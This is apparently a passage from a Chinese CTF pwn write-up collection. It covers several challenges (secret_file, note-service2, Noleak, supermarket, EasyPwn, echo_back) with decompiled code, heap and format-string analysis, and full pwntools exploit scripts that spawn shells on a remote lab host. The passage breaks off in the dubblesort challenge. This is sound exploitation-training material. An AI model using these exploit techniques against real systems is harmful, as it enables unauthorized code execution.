__int64 v14; // [rsp+110h] [rbp-1F8h]
_BYTE v15[5]; // [rsp+12Bh] [rbp-1DDh] v15 在经过 sub_E60 函数后
// 被赋值为了 9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127
int v16; // [rsp+16Ch] [rbp-19Ch]
int v17; // [rsp+18Ch] [rbp-17Ch]
int v18; // [rsp+1CCh] [rbp-13Ch]
char s; // [rsp+1D0h] [rbp-138h]
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]

v20 = __readfsqword(0x28u);
sub_E60(&dest);
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, &v11, stdin) == -1 ) // 这里可以输入超长的字符串只要你不输入回车
return 1;
v3 = strrchr(lineptr, 10); // 找回车符,并将回车符及其后面的字符串放到 v3 中
if ( !v3 )
return 1;
*v3 = 0; // 把以回车符为开头的字符串的回车符开头变成空字符,这样 lineptr 就截断到回车符了
v4 = &v16;
v5 = &v17;
strcpy(&dest, lineptr); // 将 lineptr 上面的字符串复制到 dest 里面,可以造成溢出
sub_DD0(&dest, &v16, 0x100u); // 这里将 dest 的前 0x100 个字符作为要加密的数据,进行 SHA256 加密,存到 v16 里
do
{
v6 = *v4;
v7 = v5; // 这个 do while 循环将 v16 的字符转换成 16 进制存到了 v17 里
v5 = (v5 + 2);
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != &v18 );
v8 = strcmp(v15, &v17); // 这里 v15 和 v17 相等才能执行 popen
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen(&v14, "r"); // 利用 dest 在 v14 地址处写上 /bin/sh
if ( !v9 )
return 1;
while ( fgets(&s, 256, v9) )
printf("%s", &s);
fclose(v9);
return v8;
}

靠 dest 覆盖 v14 为 /bin/sh; 后面用空格补充,因为shell中空格没啥用

覆盖 v15 为自己之前输入的 0x100 个 ‘a’ 的 SHA256 十六进制值,这样检测就能绕过

最后要改一下重定向,这样才会显示命令成功执行后的结果

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import hashlib

debug = 0
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./secret_file')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 34000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

# gdb.attach(p, "b *$rebase(0xB59)\nc")
# gdb.attach(p, "b *$rebase(0xBd5)\nc")
pd = 'a' * 0x100
pd += '/bin/sh;' + ' ' * 19
pd += hashlib.sha256('a' * 0x100).hexdigest()
p.sendline(pd)
p.sendline('exec 1>&0')
p.interactive()

Flag:

1
动态靶机

note-service2

Description:

暂无


Solution:

第一次接触这种题,记录下来,技术点是在堆上布置 shellcode

程序只有 add 和 delete 可以用,add 函数在选择下标的时候没有做检测,导致可以利用数组进行任意地址改写

程序关闭了 NX 保护,说明是让我们执行 shellcode 来进行提权

这里的重点就是 shellcode 很长,但是这个程序的 add 功能最多只能在堆里写入 7 个字符,剩下的一个会被空字符补上

所以我们在布置 shellcode 的时候只能一条汇编一条汇编地写入,在执行 atoi 函数的时候我们可以看到以下汇编

1
2
3
4
5
.text:0000000000000BB4                 call    input_n
.text:0000000000000BB9 lea rax, [rbp+nptr]
.text:0000000000000BBD mov rdi, rax ; nptr
.text:0000000000000BC0 mov eax, 0
.text:0000000000000BC5 call _atoi

所以最后输入/bin/sh就能使 rdi 得到 shellcode 需要的字符串地址,剩下的在堆内写入相应的汇编即可

问题在于如何跳转,我们可以使用jmp short xxx\xEB\xHH(\xHH == xxx)

xxx = 目标地址 - 当前地址 - 2

这是堆内排布

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x562aa86e7000
0x562aa86e7000: 0x0000000000000000 0x0000000000000021
0x562aa86e7010: 0x0019eb9090909090 0x0000000000000000
0x562aa86e7020: 0x0000000000000000 0x0000000000000021
0x562aa86e7030: 0x0019eb0000003bb8 0x0000000000000000
0x562aa86e7040: 0x0000000000000000 0x0000000000000021
0x562aa86e7050: 0x0019eb9090f63148 0x0000000000000000
0x562aa86e7060: 0x0000000000000000 0x0000000000000021
0x562aa86e7070: 0x0019eb9090d23148 0x0000000000000000
0x562aa86e7080: 0x0000000000000000 0x0000000000000021
0x562aa86e7090: 0x000000000000050f 0x0000000000000000

可以看到\xEB\x19离下一个指令的位置差了0x1B,这个\x19的是这么来的

0x1B - 2 == 0x19

之后 free 掉下标为 0 的堆块,在 got_atoi 处新建一个堆块,那么 got_atoi 的地址上就存入了堆块的地址

最后调用 atoi 函数时,就会进入堆块执行 shellcode 获取权限

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./note-service2')
else:
p = remote('111.198.29.45', 37262)
got_atoi = 0x202060
addr_chunk_list = 0x2020A0


def add(add_idx, add_content):
success('payload ' + str(add_idx) + ' = ' + str(len(add_content)))
p.sendlineafter('your choice>> ', '1')
p.sendlineafter('index:', str(add_idx))
p.sendlineafter('size:', str(len(add_content) + 1))
p.sendafter('content:', str(add_content))


def delete(delete_idx):
p.sendlineafter('your choice>> ', '4')
p.sendlineafter('index:', str(delete_idx))


add(0, 'a' * 7)
add(1, asm('mov eax, 0x3b') + '\xEB\x19')
add(2, asm('xor rsi, rsi') + '\x90\x90\xEB\x19')
add(3, asm('xor rdx, rdx') + '\x90\x90\xEB\x19')
add(4, asm('syscall'))
delete(0)
idx = (got_atoi - addr_chunk_list) / 8
add(idx, '\x90' * 5 + '\xEB\x19')
# gdb.attach(p)
p.sendlineafter('your choice>> ', '/bin/sh')
p.interactive()

Flag:

1
动态靶机

Noleak

Description:

暂无


Solution:

查看开了哪些保护机制

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

可以看到关了 NX,说明我们可以用 shellcode,但是 got 表不可写,所以考虑用 malloc_hook 来提权

程序可以分配任意大小的堆块,先利用 unlink 改写存储堆地址的链表为 bss 地址和该链表的地址

然后在 bss 地址内写入 shellcode,利用堆链表的地址清空堆链表,保证后面可以用足够多的堆(因为题目默认只让用 10 个堆块)

布置好 shllcode 后就要想如何才能利用 malloc_hook 执行 shllcode

这里我们用 fastbin 来进行攻击:后释放出的 fastbin 的 fd 上会存有上一次释放的 fastbin 的 prev_size 地址

根据这一特性,我们先申请两个符合 fastbin 的堆块(chunk 0, chunk 1)和一个符合 unsorted bin 的堆块(chunk 2)

然后分别释放它们(chunk 2 – chunk 1 – chunk 0),之后 bin 布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x137d0100x137d0800x0
0x80: 0x0
unsortedbin
all: 0x137d0f00x7f96b68edb78 (main_arena+88) ← 0x137d0f0
smallbins
empty
largebins
empty

然后利用 update 修改 chunk 0 的 fd 的末尾字符,使该值变为 unsorted bin 的地址(在我这就是输入一个字符\xf0)

再用 chunk 1 修改 chunk 2 的 size 值为 0x71 来绕过之后的 fastbin 检查

再用两个字符修改 chunk 2 上保存的 main_arena 的值为我们要构造 fastbin 的地址,之后的 bin 布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x91c0100x91c0f00x7f734af0aaed (dl_main+2317) ← add dword ptr [rax - 0x7d], ecx
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x91c0f00x7f734af0aaed (dl_main+2317) ← add dword ptr [rax - 0x7d], ecx
BK: 0x91c0f00x7f734af02b78 (main_arena+88) ← 0x91c0f0
smallbins
empty
largebins
empty

这里\xaa的第一个a可以是任意值,因为 aslr 的原因,会有 16 种可能,所以最后要爆破,某次构造 fastbin 的地址值如下:

1
2
pwndbg> x/2gx 0x7f734af02aed
0x7f734af02aed <_IO_wide_data_0+301>: 0x734af01260000000 0x000000000000007f

之后再在 malloc_hook 的地址上写入 shellcode 的 bss 地址,再随便申请一个堆块即可完成提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level="debug", arch="amd64", os="linux")
addr_chunk_list = 0x601040
addr_shellcode = 0x601000


def create(create_size, create_data):
p.sendafter('Your choice :', '1')
p.sendafter('Size: ', str(create_size))
p.sendafter('Data: ', create_data)


def delete(delete_idx):
p.sendafter('Your choice :', '2')
p.sendafter('Index: ', str(delete_idx))


def update(update_idx, update_data):
p.sendafter('Your choice :', '3')
p.sendafter('Index: ', str(update_idx))
p.sendafter('Size: ', str(len(update_data)))
p.sendafter('Data: ', update_data)


def brute_force():
create(0x100, 'a' * 8)
create(0x100, 'b' * 8)
delete(0)
delete(1)
pd = p64(0) + p64(0x100)
pd += p64(addr_chunk_list - 0x18) + p64(addr_chunk_list - 0x10)
pd += 'a' * 0xe0
pd += p64(0x100) + p64(0x100)
create(0x200, pd)
delete(1)
pd = p64(0) * 3
pd += p64(addr_chunk_list) + p64(addr_shellcode)
update(0, pd)
pd = asm(shellcraft.sh())
update(1, pd)
update(0, p64(0) * 3)
create(0x60, 'A' * 8)
create(0x60, 'B' * 8)
create(0x100, 'a' * 8)
create(0x60, 'C' * 8)
delete(2)
delete(1)
delete(0)
update(2, '\xed\xaa')
update(1, '\x00' * 0x68 + '\x71\x00')
update(0, '\xf0')
create(0x60, '\x90' * 8)
create(0x60, '\x90' * 8)
pd = '\x00' * 0x13
pd += p64(addr_shellcode)
create(0x60, pd)
p.sendafter('Your choice :', '1')
p.sendafter('Size: ', '96')
p.interactive()


debug = 1
while True:
try:
if debug == 1:
p = process('./timu')
else:
p = remote('111.198.29.45', 37434)
brute_force()
break
except:
p.close()
pass

Flag:

1
动态靶机

supermarket

Description:

暂无


Solution:

查看程序开启的保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序主要结构体

1
2
3
4
5
6
struct{
char name[16];
int price;
int desc_size;
char *desc_ptr;
}commodity;

1. add a commodity

存完第一个数据以后是这样的,堆地址是随机化的

chunk_list = 0x09e3d008

1
2
3
4
5
6
0x804b080:	0x09e3d008	0x00000000	0x00000000	0x00000000

0x9e3d000: 0x00000000 0x00000021 0x00000030 0x00000000
0x9e3d010: 0x00000000 0x00000000 0x00000001 0x00000010
0x9e3d020: 0x09e3d028 0x00000019 0x61616161 0x00000000
0x9e3d030: 0x00000000 0x00000000 0x00000000 0x00020fc9

可以推得主要变量表达形式

1
2
3
4
5
6
7
char chunk_list[16] = {0};

---- (&chunk_list)[0] == &chunk_list == chunk_list == 0x9e3d008
---- *((&chunk_list)[0]) == chunk_list[0] == *(0x9e3d008) == 0x30 == '0'; // name
---- *((&chunk_list)[0] + 4) == *(0x9e3d008 + 4 * 4) == *(0x9e3d018) == 0x1 == 1 // price;
---- *((&chunk_list)[0] + 5) == *(0x9e3d008 + 5 * 4) == *(0x9e3d01c) == 0x10 == 16 // desc_size;
---- *((&chunk_list)[0] + 6) == *(0x9e3d008 + 6 * 4) == *(0x9e3d020) == 0x09e3d028 // *desc_ptr;

2. del a commodity

找到对应下标 chunk_list[i]

将其中的 price 值置零,释放 *desc_ptr,再释放 (&chunk_list)[0],最后将 (&chunk_list)[0] 置零

5. Change the description of a commodity

漏洞在 realloc,当重新分配的 new_size > pre_size 释放原指针,重新分配内存;new_size < pre_size,返回原指针

realloc 一个比之前 size 大的堆块时,释放原堆块,新建一个堆块,但是数组中的 *desc_ptr 指针并没有改成新分配的堆指针, 仍指向之前已经释放掉的堆块

这时申请一个总堆块,它的大小小于等于之前 realloc 释放掉的堆块大小,就可以将两个堆块都放到之前释放掉的堆块内

realloc 的地址没变,不管再做出什么改动,都会修改之前释放掉的堆块的地址,而且长度不限

那我们把 *desc_ptr 的位置改成 got_atoi 就可以靠 list 功能泄露出 atoi 的真实地址

之后靠 realloc 改写 atoi 的 got 表内容为 system 的地址,之后输入/bin/sh即可提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./supermarket')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 54608)
libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./supermarket', checksec=False)
got_atoi = elf.got['atoi']


def add(add_idx, add_size, add_desc):
p.sendlineafter('your choice>> ', '1')
p.sendlineafter('name:', str(add_idx))
p.sendlineafter('price:', '0')
p.sendlineafter('descrip_size:', str(add_size))
p.sendlineafter('description:', add_desc)


def delete(delete_idx):
p.sendlineafter('your choice>> ', '2')
p.sendlineafter('name:', str(delete_idx))


def change(change_idx, change_size, change_desc):
p.sendlineafter('your choice>> ', '5')
p.sendlineafter('name:', str(change_idx))
p.sendlineafter('descrip_size:', str(change_size))
p.sendlineafter('description:', change_desc)


add(0, 0x80, 'a' * 8)
add(1, 0x10, 'b' * 8)
change(0, 0x100, '')
add(2, 0x80, 'c' * 8)
pd = p32(0x32) + p32(0)
pd += '\x00' * 0x8
pd += p32(0) + p32(0x50)
pd += p32(got_atoi) + p8(0x69)
change(0, 0x90, pd)
p.sendlineafter('your choice>> ', '3')
p.recvuntil('2: price.0, des.')
addr_atoi = u32(p.recv(4))
libcbase = addr_atoi - libc.sym['atoi']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
success('addr_atoi = ' + hex(addr_atoi))
success('addr_system = ' + hex(addr_system))
# gdb.attach(p)
change(2, 0x50, p32(addr_system))
p.sendlineafter('your choice>> ', '/bin/sh')
p.interactive()

Flag:

1
动态靶机

EasyPwn

Description:

暂无


Solution:

查看保护机制

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

漏洞点在 sub_B30 函数中,具体漏洞如下,先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_B30()
{
char s; // [rsp+10h] [rbp-BF0h]
char v2; // [rsp+410h] [rbp-7F0h]
__int64 v3; // [rsp+7F8h] [rbp-408h]
unsigned __int64 v4; // [rsp+BF8h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(&s, 0, 0x400uLL);
memset(&v3, 0, 8uLL);
memset(&v2, 0, 0x7E8uLL);
LOWORD(v3) = 's%';
BYTE2(v3) = '\0';
puts("Welcome To WHCTF2017:");
read(0, &s, 0x438uLL);
snprintf(&v2, 0x7D0uLL, &v3, &s);
printf("Your Input Is :%s\n", &v2);
return __readfsqword(0x28u) ^ v4;
}

可以看到我们输入到 s 变量里的字符串通过 sprintf 被复制到了 v2 变量里

但是 v2 变量距离 v3 变量只有 0x7F0 - 0x408 == 0x3E8 个,这时我们再输入两个字符就可以覆盖掉 %s 这个格式化字符,使其出现格式化字符串漏洞

程序格式化字符串地址分布大致如下,正常也可以调试地址,就是与 printf 有些区别,也不能显示下方格式化字符串栈空间的全部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x7fff71310330     ---- %1$p
0x7fdb08cb6700 ---- %2$p
0x1999999999999999 ---- %3$p
0x1999999999999999 ---- %4$p
(nil) ---- %5$p
0x7fff71310b18 ---- %6$p
0x6161616161616161 ---- %7$p...%259$p
0x7024303632256161 ---- %260$p
0x2e7024313632252e ---- %261$p
0x252e702432363225 ---- %262$p
(nil) ---- %263$p...%387$p
0x119a8c0012c42c00 ---- %388$p
0x7ffca3f50ac0 ---- %389$p
0x55825a2a9cf9 ---- %390$p
0x7ffca3f50ba8 ---- %391$p
0x100000000 ---- %392$p
0x100000005 ---- %393$p
0x55825a2a9a00 ---- %394$p
0x7ffca3f50031 ---- %395$p
0x119a8c0012c42c00 ---- %396$p
0x55825a2a9da0 ---- %397$p
0x7f3b03a20830 ---- %398$p
0x1 ---- %399$p
0x7ffca3f50ba8 ---- %400$p

改写内容的时候,要把改写的字符串放到 0x3EA 个字符后面,因为这样才会被 snprintf 解析为漏洞字符串

之后利用手段就是泄露 libc 地址,改写 __free_hook 为 system 地址,之后利用堆块的释放来提权

也可以泄露程序基地址,改写 got 表来提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 41193)
libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./pwn1', checksec=False)

# gdb.attach(p, "b *$rebase(0xc05)\nc\nc")
pd = 'a' * 0x3ea
pd += '%398$p'
p.sendlineafter('Input Your Code:\n', '1')
p.sendlineafter('Welcome To WHCTF2017:\n', pd)
p.recvuntil(pd + '\n')

addr___libc_start_main = int(p.recv(14), 16) - 240
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']
addr___free_hook = libcbase + libc.sym['__free_hook']

list_system = list(p64(addr_system))
for i in range(0, len(list_system)):
pd = 'a' * 0x3ea
pd += '%' + str(2 + ord(list_system[i])) + 'c%134$hhn'
pd = pd.ljust(0x3F8, 'b')
pd += p64(addr___free_hook + i)
p.sendlineafter('Input Your Code:\n', '1')
p.sendlineafter('Welcome To WHCTF2017:\n', pd)
p.sendlineafter('Input Your Code:\n', '2')
p.sendafter('Input Your Name:\n', '/bin/sh')
p.recvuntil('Now!')
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr___free_hook = ' + hex(addr___free_hook))
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

1
动态靶机

echo_back

Description:

暂无


Solution:

保护全开

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

set_name 函数:

1
2
3
4
5
ssize_t __fastcall sub_B45(void *a1)
{
printf("name:");
return read(0, a1, 7uLL);
}

echo_back 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_B80(_BYTE *a1)
{
size_t nbytes; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(&nbytes + 4, 0, 8uLL);
printf("length:", 0LL);
_isoc99_scanf("%d", &nbytes);
getchar();
if ( (nbytes & 0x80000000) != 0LL || nbytes > 6 )
LODWORD(nbytes) = 7;
read(0, &nbytes + 4, nbytes);
if ( *a1 )
printf("%s say:", a1);
else
printf("anonymous say:", &nbytes + 4);
printf(&nbytes + 4);
return __readfsqword(0x28u) ^ v3;
}

这题的技术是对 IO_FILE 的利用,利用方法如下:

我们可以依靠格式化字符串泄露出 libc 基地址和程序基地址从而掌握其他函数的偏移,但是格式化字符串的位置只能输入 7 个字符

先泄露出来__libc_start_main + 240的地址和程序基地址,算出_IO_2_1_stdin_的地址,然后利用set_name函数写入栈空间

原先这块内容是空的,写入了之后,我们利用格式化字符串可以看到该处的格式化字符串偏移是 16

我们写入_IO_2_1_stdin_ + 0x38的地址,即_IO_2_1_stdin__IO_buf_base字段

利用%16$hhn将该处的后两位改为\x00,之后_IO_buf_base就指向了_IO_write_base的位置

原本_IO_buf_end的值等于_IO_buf_base的值加一,_IO_buf_base原本指向_shortbuf,所以只能在这写入一个字节

现在_IO_buf_base指向_IO_write_base,而_IO_buf_end指向_shortbuf + 1,所以在使用scanf的时候可以在这读入很长的一段数据

修改_IO_buf_base的后两位为\x00后,_IO_2_1_stdin_结构体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p _IO_2_1_stdin_
$2 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7f5550d60964 <_IO_2_1_stdin_+132> "",
_IO_read_end = 0x7f5550d60964 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7f5550d60963 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7f5550d60963 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7f5550d60963 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7f5550d60963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7f5550d60900 <_IO_2_1_stdin_+32> "c\t\326PU\177",
_IO_buf_end = 0x7f5550d60964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f5550d62790 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f5550d609c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f5550d5f6e0 <_IO_file_jumps>
}

之后就要探讨如何才能提权了,这里先贴下源码

推荐一个查 linux 源码的网址,该函数内容来自:https://code.woboq.org/userspace/glibc/libio/fileops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout);
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

可以看出以下两点:

1._IO_read_ptr < _IO_read_end 时,函数直接返回 _IO_read_ptr

2.不然经过一系列操作后,会向 _IO_buf_base 中读入数据

使用 scanf 会从 _IO_buf_base 上面的地址开始写入,从而我们就有了任意地址写的能力,所以我们改掉指向__libc_start_main + 240的地址上面的值

然后写入addr_rdi_ret + addr_bin_sh + addr_system,但是这时不能写入,我们的_IO_read_ptr小于_IO_read_end,这样没法触发写入操作

于是就到getchar()函数的妙用,每调用一次该函数_IO_read_ptr就会+1,所以我们让程序先一直调用getchar()直到_IO_read_ptr = _IO_read_end - 1

这里不等于是因为后面的输入还会让_IO_read_ptr + 1,然后写入addr_rdi_ret + addr_bin_sh + addr_system,再让程序退出即可提权

这里提醒一下,覆盖至_IO_buf_end时必须停止输入,后面的_IO_save_base如果有值,那么它在 scanf 中会被调用 free 函数释放掉,所以这里被改了会出错

最后说一句,这种需要 sleep 的题真的心累,运行一半卡住可太要命了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./echo_back')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 54706)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./echo_back', checksec=False)


def set_name(set_name_payload):
p.sendlineafter('choice>> ', '1')
p.sendafter('name:', set_name_payload)


def echo_back(echo_back_payload):
p.sendlineafter('choice>> ', '2')
p.sendlineafter('length:', '7')
p.send(echo_back_payload)


echo_back('%6$p')
p.recvuntil('anonymous say:')
mainbase = int(p.recv(14), 16) - 0xef8
echo_back('%12$p')
p.recvuntil('anonymous say:')
addr_ret = int(p.recv(14), 16) + 8
echo_back('%19$p')
p.recvuntil('anonymous say:')

addr___libc_start_main = int(p.recv(14), 16) - 240
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr__IO_2_1_stdin_ = libcbase + libc.sym['_IO_2_1_stdin_']
addr__IO_buf_base = addr__IO_2_1_stdin_ + 0x38
addr__shortbuf = addr__IO_2_1_stdin_ + 0x83
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
addr_rdi_ret = mainbase + 0xd93

set_name(p64(addr__IO_buf_base))
echo_back('%16$hhn')
pd = p64(addr__shortbuf) * 3
pd += p64(addr_ret)
pd += p64(addr_ret + 0x18)
p.sendlineafter('choice>> ', '2')
p.sendafter('length:', pd)
sleep(0.1)
p.sendline('')
for i in range(0, 0x27):
info(hex(i)[2:])
p.sendlineafter('choice>> ', '2')
sleep(0.1)
p.sendlineafter('length:', '')
pd = p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('choice>> ', '2')
p.sendlineafter('length:', pd)
sleep(0.1)
p.sendline('')
success('addr_ret = ' + hex(addr_ret))
success('addr_rdi_ret = ' + hex(addr_rdi_ret))
success('addr__IO_buf_base = ' + hex(addr__IO_buf_base))
p.sendlineafter('choice>> ', '3')
p.interactive()

Flag:

1
动态靶机

dubblesort

Description:

暂无


Solution:

真正的保护全开

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

main 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int *v4; // edi
unsigned int v5; // esi
int v6; // ecx
unsigned int v7; // esi
int v8; // ST08_4
int result; // eax
int v10; // edx
unsigned int v11; // et1
unsigned int v12; // [esp+18h] [ebp-74h]
int v13; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int v15; // [esp+7Ch] [ebp-10h]

v15 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, &buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v12);
v3 = v12;
if ( v12 )
{
v4 = &v13;
v5 = 0;
do
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = v12;
++v4;
}
while ( v12 > v5 );
}
sub_931(&v13, v3);
puts("Result :");
if ( v12 )
{
v7 = 0;
do
{
v8 = *(&v13 + v7);
__printf_chk(1, "%u ");
++v7;
}
while ( v12 > v7 );
}
result = 0;
v11 = __readgsdword(0x14u);
v10 = v11 ^ v15;
